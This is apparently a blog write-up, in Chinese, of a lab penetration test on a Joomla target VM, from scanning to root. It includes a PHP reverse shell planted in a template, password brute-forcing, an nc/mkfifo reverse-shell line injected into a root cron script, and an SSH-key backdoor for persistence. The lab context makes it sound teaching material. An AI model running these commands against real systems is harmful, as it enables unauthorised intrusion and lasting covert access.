一次零基礎 自“信息收集“到“權限維持“的滲透測試全程詳細記錄

?一、滲透總流程

1.確定目標:

????????在本靶場中,確定目標就是使用各種掃描工具進行ip掃描,確定目標ip。

2.信息收集:

????????比如平常挖洞使用fofa,天眼查,ip域名等進行查,在我們這個靶場中比如使用Wappalyzer插件、nmap工具等。

3.發現漏洞:

????????那些理論比如sql注入,文件上傳等,或者找到相關的系統信息,去網上找相關的exp這些都是為了拿到webshell。

4.漏洞利用:

????????漏洞利用就是使用漏洞拿到webshell。

5.權限提升:

????????權限提升,就是所謂的提權,因為一般進入拿到webshell后進入到服務器了都是低權限,在接下來的靶中我們的目標都是拿到root權限,所以拿到webshell后是低權限用戶,這個時候我們需要一系列的方式進行提權,最后拿到root權限,即為結束。

6.權限維持:? ?

? ? ? ? 在滲透測試過程中,權限維持是指利用已獲取的權限、漏洞或憑證,保持長期對目標系統的訪問權限,并持續地潛伏在系統內部以獲得更多信息或執行更高級別的攻擊。權限維持通常發生在成功滲透系統后,攻擊者不僅僅是獲取對系統的訪問權限,還試圖保持這種權限,以執行進一步的攻擊操作。
?

二、打靶實例詳解


文章內的靶機及腳本關注后私信獲取


1.準備階段

首先將靶機以及kali啟動。

注意將兩者的網絡適配器均調整為NAT模式(確保二者是在同一個網段下)。

2.信息收集——確認靶機ip

首先確定攻擊機kali的ip來確定接下來掃描的網段。

命令:ip a

方法一——fping

命令:fping -g 192.168.10.0/24

方法二——Netdiscover

命令:netdiscover -i eth0 -r 192.168.10.0/24

方法三——arp-scan

命令:arp-scan -l

方法四——nmap

命令:nmap -sP 192.168.10.0/24

在上面掃描出的ip地址中,.1、.2、.254、.132都是kali自身的一些ip地址。

所以通過上面的四種方法均可以確定靶機的ip地址為:192.168.10.176。

3.信息收集——端口掃描

命令:nmap -A -v -sS -sV -p- 192.168.10.176

知識點——nmap參數說明:
-A:詳細掃描目標IP,加載所有腳本,盡可能地全面地探測信息
-v:顯示詳細的掃描過程
-sS:利用TCP SYN掃描
-sV:探測開放
-p-:掃描全部端口

可以看到開放的端口有:
22:SSH服務
80:HTTP服務

4.威脅建模

訪問:http://192.168.10.176/

通過Wappalyzer插件得到下面的信息:
Web服務:Apache 2.4.38
操作系統:Debian

5.漏洞探測

通過前面的掃描,可以看到存在開放的80端口,因此猜測其存在HTTP服務。

訪問其web服務,默認端口為80。

可以看到一張小丑的圖片。

查看網頁源代碼,可以看到沒有什么有價值的信息。

查看robot.txt文件,同樣沒有什么收獲。

安裝Gobuster工具。

命令:apt-get install gobuster

接下來通過使用Gobuster和大字典(Kali自帶),查找網站部署的服務器,發現了JoomlaCMS。

命令:gobuster dir -u 192.168.10.176 -w /usr/share/dirb/wordlists/big.txt

訪問Joomla站點,發現只有一個帖子,其中有電影“小丑”的兩個場景對話,還發現一個登錄口。

安裝Joomscan工具。

命令:apt-get install joomscan

接下來使用Joomscan對站點進行探測。

列出版本信息、敏感目錄以及備份文件等有助于尋找漏洞的信息。

命令:joomscan -u 192.168.10.176/joomla

6.漏洞利用

使用Cewl工具對Joomla中發現的對話內的單詞創建一個自定義詞典。

命令:cewl -m 5 http://192.168.10.176/joomla/ > dic-words.txt

命令解釋:常用于密碼破解的準備工作,生成一個基于目標網站內容的密碼字典。?-m 5?參數表示生成一個最小長度為5個字符的單詞列表。它從指定的URL?http://192.168.10.176/joomla/?中提取文本,然后將提取的內容輸出到一個名為?dic-words.txt?的文件中。

查看生成的字典。

接下來利用剛剛生成的字典對網頁內的登錄口進行爆破。

首先啟動burp打開攔截器。

開啟瀏覽器內的代理。

在登錄口隨便輸入賬號密碼后點擊Log in。

此時可以看到burp攔截到的數據包。

鼠標右鍵點擊數據包后將其發送到Intruder。

在Intruder頁面先確認選取Sniper,然后將username改為joomla,選中之前登錄口隨便填寫的密碼使用Add給password加上標記。

打開Payloads界面進行相關配置。

選取Simple list格式。

在下方點擊load填入之前創建的密碼字典dic-words.txt。

導入字典后點擊Start attack開始爆破。

等待爆破解釋后通過Lenght對結果篩選,得到密碼Gotham。

使用username為joomla和password為Gotham嘗試登陸,發現登錄成功。

在枚舉過程中我們嗅探到joomla下有administrator目錄,嘗試訪問一下,發現可以成功訪問。

使用剛剛爆破得到的用戶名和密碼登錄。

發現登錄成功。

接下來嘗試在這個站點內建立一個反彈shell。

打開Extensions->Templates->Styles。

可以看到Beez3和protostar兩個目錄。

點擊Protostar打開protostar目錄。

進入/index.php頁面進行編輯。

為了后續方便代碼的復制粘貼,安裝gedit工具。

命令:apt-get install gedit

進入到/usr/share/webshells/php目錄,找到php-reverse-shell.php文件復制整個文件的代碼。

命令:cd /usr/share/webshells/php

命令:gedit php-reverse-shell.php

用復制的shell腳本替換掉/index.php中的原始代碼。

在第49行和50行找到ip和port。

將ip更改為攻擊機kali的IP,這里為Kali IP:192.168.10.132。

端口可以自己設定,這里設置為5555。

點擊左上角的save進行保存。

之后在kali中打開監聽,重新訪問“192.168.10.176/joomla/index.php”頁面,在Kali中可以看到反彈成功。

命令:nc -lnvp 5555

地址:192.168.10.176/joomla/index.php

使用python3打開一個bash終端。

命令:python3 -c "import pty;pty.spawn('/bin/bash')"

查看home目錄發現三個用戶。

命令:ls /home

進入到/var/www/目錄并查看,發現有html和joomla2兩個文件夾。

命令:cd /var/www/ && ls -a

進入到joomla2文件夾內并查看,發現了configuration.php文件。

命令:cd joomla2 && ls -a

查看該文件,發現了一個數據的用戶名和密碼。

命令:cat configuration.php

用賬號joomla和密碼babyjoker嘗試登錄數據庫,發現登錄成功。

命令:mysql -u joomla -p

在數據庫內查找有用的信息,查看是否有存儲用戶名和密碼的文件。

命令:show databases;

命令:use batjoke;

成功找到密碼信息如下圖所示。

命令:select * from taskforce;

將密碼進行base64解密,可以看到解密后的明文。

命令:echo 'Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/' | base64 -d

  1. 知識點——命令說明:
    這個命令是將給定的Base64編碼的字符串解碼回原始的文本。具體來說,命令中的?echo 'Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/'?是將Base64編碼的密文輸入到管道中,然后?base64 -d?解碼這個Base64編碼的字符串,并將其轉換為原始文本。

7.權限提升

使用前面獲取到的密碼通過ssh命令嘗試進行登錄,發現登錄成功了。

用戶名:rob

密碼:??? AllIHaveAreNegativeThoughts???

命令:ssh rob@192.168.10.176

在rob用戶的系統中搜索資產,發現一個關于用戶的文件user.txt,查看該文件。

命令:ls

查看user.txt文件。

命令:cat user.txt

遍歷目錄,發現了可疑文件Abnerineedyourhelp。

命令:ls -lna

查看文件,發現一段加密后的話。

命令:cat Abnerineedyourhelp

根據用戶名rot聯想到疑似是rot13加密,于是利用CyberChef工具嘗試解密。

成功解密,得到下圖所示的明文。

翻譯后的內容如下,可以看到末尾有一段密碼。

對上述的密碼進行base64解密。

命令:echo 'STMzaG9wZTk5bXkwZGVhdGgwMDBtYWtlczQ0bW9yZThjZW50czAwdGhhbjBteTBsaWZlMA==' | base64 -d

根據上面翻譯結果內的提示,嘗試利用上面解密出的密碼登錄用戶名為abner的用戶,執行命令后發現登錄成功到了abner。

命令:su abner

密碼:I33hope99my0death000makes44more8cents00than0my0life0

命令:whoami

進入到abner的目錄下并進行目錄遍歷,發現可疑文件info.txt和user2.txt。

命令:cd /home/abner && ls -lna

分別查看兩個文件。

命令:cat info.txt

命令:cat user2.txt

翻譯得到的內容可以看到其是對Glasgow smile的介紹。

查看命令執行的歷史記錄。

命令:cat .bash_history

在全盤中搜索與penguin用戶相關的文件,找到兩條關鍵信息。

命令:find / -name .dear_penguins.zip 2>/dev/null

來到上面查找到的文件的目錄下并查看,可以看到上面搜索到的壓縮包。

命令:ls -al /var/www/joomla2/administrator/manifests/files/

將其解壓。

命令:cp /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip ~ && unzip .dear_penguins.zip

密碼:I33hope99my0death000makes44more8cents00than0my0life0

查看.dear_penguins文件。

命令:cat .dear_penguins

翻譯得到的內容。

得到penguin用戶的密碼,使用得到的密碼嘗試登錄用戶penguin,發現成功登錄。

命令:su penguin

密碼:scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz

命令:whoami

進入到penguin的目錄下并進行目錄遍歷,查找可疑文件或目錄,發現可以目錄SomeoneWhoHidesBehindAMask。

命令:cd /home/penguin && ls -lna

進入SomeoneWhoHidesBehindAMask目錄并遍歷,發現兩個可疑文件。

命令:cd SomeoneWhoHidesBehindAMask && ls -lna

查看PeopleAreStartingToNotice.txt。

命令:cat PeopleAreStartingToNotice.txt

翻譯得到下面內容,是Joker給Penguin的留言,貌似說正在編寫一個程序,只能用root運行,完成以后joker將會拷貝到當前目錄。

查看.trash_old文件,可以看到其內容類似于一個shell腳本。

命令:cat .trash_old

結合文件內容,發現.trash_old屬于用戶penguin,root組并且任何人都可執行。

這個時候聯想到需要使用pspy工具監控沒有root權限的Linux系統。

前面進行端口掃描的時候存在開放的22端口,并且已經拿到了該系統的登錄用戶名和密碼。

因此嘗試利用ssh遠程連接進行上傳pspy工具。

首先將pspy文件下載到本地。

然后嘗試利用ssh連接靶機。

命令:ssh penguin@192.168.10.176

密碼:scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz

在本機的pspy目錄下,啟動python的http服務,啟動端口可以任意填寫但是要注意不要與已經啟動服務的端口重復。

命令:python3 -m http.server 5556

啟動后訪問本地地址進行驗證,可以看到可以訪問到kali內的文件。

訪問地址:http://192.168.10.132:5556/

在靶機上將pspy64wget下來。

命令:wget http://192.168.10.132:5556/pspy64

查看文件pspy64,發現沒有權限執行。

命令:ls -lah

修改其權限讓其可以執行并進行驗證。?

命令:chmod +x pspy64

命令:ls -lah

執行pspy,利用其對系統進程進行監控。

命令:./pspy64 -p -i 1000

監聽到文件/home/penguin/SomeoneWhoHidesBehindAMask/.trash_old每分鐘都執行。

回到前面.trash_old的目錄下,使用vim編輯trash_old寫入反彈shell(要將末尾的exit 0注釋掉)。

命令:vi .trash_old

代碼:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.132 5557>/tmp/f

保存并退出::wq!

在kali內開啟監聽,連接上后,執行whoami或id命令,可以看到此時成功拿到了root權限。

命令:nc -lnvp 5557

命令:whoami

命令:id

查看當前目錄下內容,可以看到root.txt文件,查看root.txt。

命令:ls

命令:cat root.txt

上面成功拿到了root權限。

8.權限維持

在滲透測試中,權限維持是非常重要的一步。獲取了系統或網絡的訪問權限后,可以盡量保持這些權限,以便進行后續的深入滲透,如滲透到更深層次的系統等。

首先利用攻擊機kali生成公鑰私鑰對,默認保存在.ssh目錄下。

命令:ssh-keygen -t rsa

查看剛剛生成的公鑰和私鑰,其中id_rsa為私鑰,留在攻擊機kali內,id_ras.pub為公鑰,傳到靶機內即可。

命令:cd .ssh

命令:ls -lah

在存放公鑰私鑰的.ssh目錄下啟動python的http服務。

命令:python3 -m http.server 5558

將公鑰下載到靶機上并查看。

命令:wget http://192.168.10.132:5558/id_rsa.pub

命令:ls

在靶機內查看當前路徑,確認是root用戶目錄后在當前目錄下創建.ssh目錄。

命令:pwd

命令:mkdir .ssh

命令:ls -alh

在.ssh目錄下創建authorized_keys文件。

命令:touch .ssh/authorized_keys

將密鑰寫入到authorized_keys文件中。

命令:cat id_rsa.pub >> .ssh/authorized_keys

此時使用kali就可以直接連接到靶機的root權限了。

命令:ssh root@192.168.10.176

只要靶機上的公鑰文件存在,就可以利用私鑰永久拿到靶機的控制權。

至此權限維持操作完成!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/42810.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/42810.shtml
英文地址,請注明出處:http://en.pswp.cn/web/42810.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

基于網絡編碼的 tcp 變種-tcp/nc

tcp/nc 是指 “tcp with network coding”,是一種結合了網絡編碼技術的 tcp 變種,網上資源很少,我也不準備多介紹,只介紹它的核心。 傳統 tcp 在演進過程中一直搞不定效率問題,網絡帶寬在增長,cpu 卻沒有變…

C++類和對象(上篇)

文章目錄 前言一、面向過程和面向對象初步認識 二、類的引入 三、類的定義 六、類的實例化 七、類的對象大小的計算 八、類成員函數的this指針 總結 前言 類和對象是面向對象編程的兩個核心概念。 類是一種抽象的數據類型,是描述對象共同特征和行為的模板。一個類…

yolov5:Conv類參數量計算

Conv是yolov5自定義的類,里邊包含了卷積層、BN層和激活函數 class Conv(nn.Module):# Standard convolution with args(ch_in, ch_out, kernel, stride, padding, groups, dilation, activation)default_act nn.SiLU() # default activationdef __init__(self, c…

點云下采樣有損壓縮

轉自本人博客&#xff1a;點云下采樣有損壓縮 點云下采樣是通過一定規則對原點云數據進行再采樣&#xff0c;減少點云個數&#xff0c;降低點云稀疏程度&#xff0c;減小點云數據大小。 1. 體素下采樣&#xff08;Voxel Down Sample&#xff09; std::shared_ptr<PointClo…

華為機考真題 -- 信道分配

題目描述&#xff1a; 算法工程師小明面對著這樣一個問題&#xff0c;需要將通信用的信道分配給盡量多的用戶&#xff0c; 信道的條件及分配規則如下&#xff1a; 1) 所有信道都有屬性&#xff1a;”階”。階為 r 的信道容量為 2^r 比特&#xff1b; 2) 所有用戶需要傳輸的數…

區間貪心

目錄 1.貪心算法的思想 2.區間貪心算法常用的一些題目類型 1.選擇最多不相交區間問題 P2970 [USACO09DEC] Selfish Grazing S 1.思路分析 2.上代碼 2.區間選點問題 P1250 種樹 1.題目 2.方法一 1.代碼解釋 3.方法二 3.區間合并問題 P2434 [SDOI2005] 區間 1. 思路…

中科海訊 C++初級研發工程師筆試題目

C語言中的const關鍵字有什么作用&#xff1f;為什么要使用const關鍵字&#xff1f; 1 const修飾的變量將會被放到常量區&#xff0c;避免被意外的改動。 const修飾的常量比#define修飾的有更多的優勢&#xff0c;比如可以調試&#xff0c;類型檢查等 2 const修飾的參數可做輸入…

Java集合面試題

Java集合框架 1、List、Set、Map的區別2、ArrayList、LinkedList、Vector區別3、為什么數組索引從0開始&#xff0c;而不是從1開始&#xff1f;4、ArrayList底層的實現原理5、紅黑樹、散列表6、HashMap的底層原理7、HashMap的put方法具體流程8、HashMap的擴容機制9、HashMap是怎…

南方科技大學馬永勝教授給年輕人使用AI工具上的建議

摘要 - 1. AI的未來&#xff0c;是機器人和機器人之間的合作&#xff1b; 2. 行業的發展方向是需求決定的&#xff0c;不要做同質化的發展&#xff0c;要做專/精/特/新&#xff1b; 3. 新質生產力 &#xff08; 科學技術革命性突破 生產要素創新型配置 產業深度轉型升級&…

java通過poi-tl導出word實戰詳細步驟

文章目錄 與其他模版引擎對比1.引入maven依賴包2.新建Word文檔exportWprd.docx模版3.編寫導出word接口代碼4.導出成果 poi-tl是一個基于Apache POI的Word模板引擎&#xff0c;也是一個免費開源的Java類庫&#xff0c;你可以非常方便的加入到你的項目中&#xff0c;并且擁有著讓…

貪心算法-以高校教材管理系統為例

1.貪心算法介紹 1.算法思路 貪心算法的基本思路是從問題的某一個初始解出發一步一步地進行&#xff0c;根據某個優化測度&#xff0c;每一 步都要確保能獲得局部最優解。每一步只考慮一 個數據&#xff0c;其選取應該滿足局部優化的條件。若下 一個數據和部分最優解連在一起…

Pix4Dmapper:無人機測繪的革命性工具

在現代測繪和地理信息系統&#xff08;GIS&#xff09;領域&#xff0c;Pix4Dmapper無疑是一款革命性的工具。作為一名長期使用這款軟件的用戶&#xff0c;我深深感受到它在工作中的重要性和便利性。Pix4Dmapper不僅僅是一款軟件&#xff0c;更是測繪工作者的得力助手&#xff…

285個地級市出口產品質量及技術復雜度(2011-2021年)

出口產品質量與技術復雜度&#xff1a;衡量國家競爭力的關鍵指標 出口產品質量是衡量國內企業生產的產品在國際市場上競爭力的重要標準。它不僅要求產品符合國際標準和目標市場的法律法規&#xff0c;而且需要保證產品質量的穩定性和可靠性。而出口技術復雜度則進一步體現了一…

新一代信息技術及應用

關于云計算的描述不正確的是&#xff08; &#xff09;。 A 云計算可以通過網絡連接&#xff0c;用戶通過網絡接入“云”中并獲得有關的服務&#xff0c;“云”內節點之間也通過內部的網絡相連 B 云計算可以快速、按需、彈性服務&#xff0c;用戶可以按照實際需求迅速獲取或釋放…

[Python學習篇] Python面向對象——類

面向對象是什么&#xff1f; 面向對象&#xff08;Object-Oriented Programming&#xff0c;簡稱OOP&#xff09;是一種編程范式&#xff0c;它使用“對象”來設計應用程序和計算機程序。OOP的核心概念包括類&#xff08;Class&#xff09;、對象&#xff08;Object&#xff09…

批量下載手機中APP程序中文件

需求 利用 adb pull 下載手機中app的某目錄 adb pull 命令本身不支持直接下載整個目錄&#xff08;文件夾&#xff09;及其所有子目錄和文件作為一個單一的操作。但是&#xff0c;可以通過一些方法來間接實現這一目的。 方法 1. 首先將要下載的目錄進行 tar 打包 # 在 And…

Python面試題:Python 中的 `property` 函數有什么用?

在 Python 中&#xff0c;property 函數用于創建和管理類中的屬性。它允許你將方法轉換為屬性&#xff0c;這樣你可以像訪問變量一樣訪問這些方法。這對于控制屬性的訪問和修改非常有用&#xff0c;因為它允許你在屬性訪問時執行額外的邏輯&#xff08;如驗證或計算&#xff09…

光通信領域常見的會議和期刊總結

在高速光通信小組待了一年&#xff0c;對我們領域主要的會議和期刊也有了一定的了解&#xff0c;所以總結一下我們可以投的期刊或會議有哪些。會議一般有OFC、ECOC、CLEO、OECC、ACP等&#xff0c;期刊則有OE、OL、PTL、JLT、PJ、AO、JOSA等&#xff0c;下面簡單介紹一下。 先…

【atcoder】習題——位元枚舉

題意&#xff1a;求i&M的popcount的和&#xff0c;i屬于0……N 主要思路還是變加為乘。 舉個例子N22&#xff0c;即10110 假設M的第3位是1&#xff0c;分析N中&#xff1a; 00110 00111 00100 00101 發現其實等價于 0010 0011 0000 0001 也就是左邊第4位和第5…

算法學習筆記(8.1)-動態規劃入門

目錄 問題特性&#xff1a; 最優子結構&#xff1a; 代碼示例&#xff1a;&#xff08;動態規劃最優子結構&#xff09; 上述最小代價爬樓梯的運行過程&#xff1a; 代碼示例&#xff1a; 無后效性&#xff1a; 解析&#xff1a; 具體過程圖示如下&#xff1a; 具體的…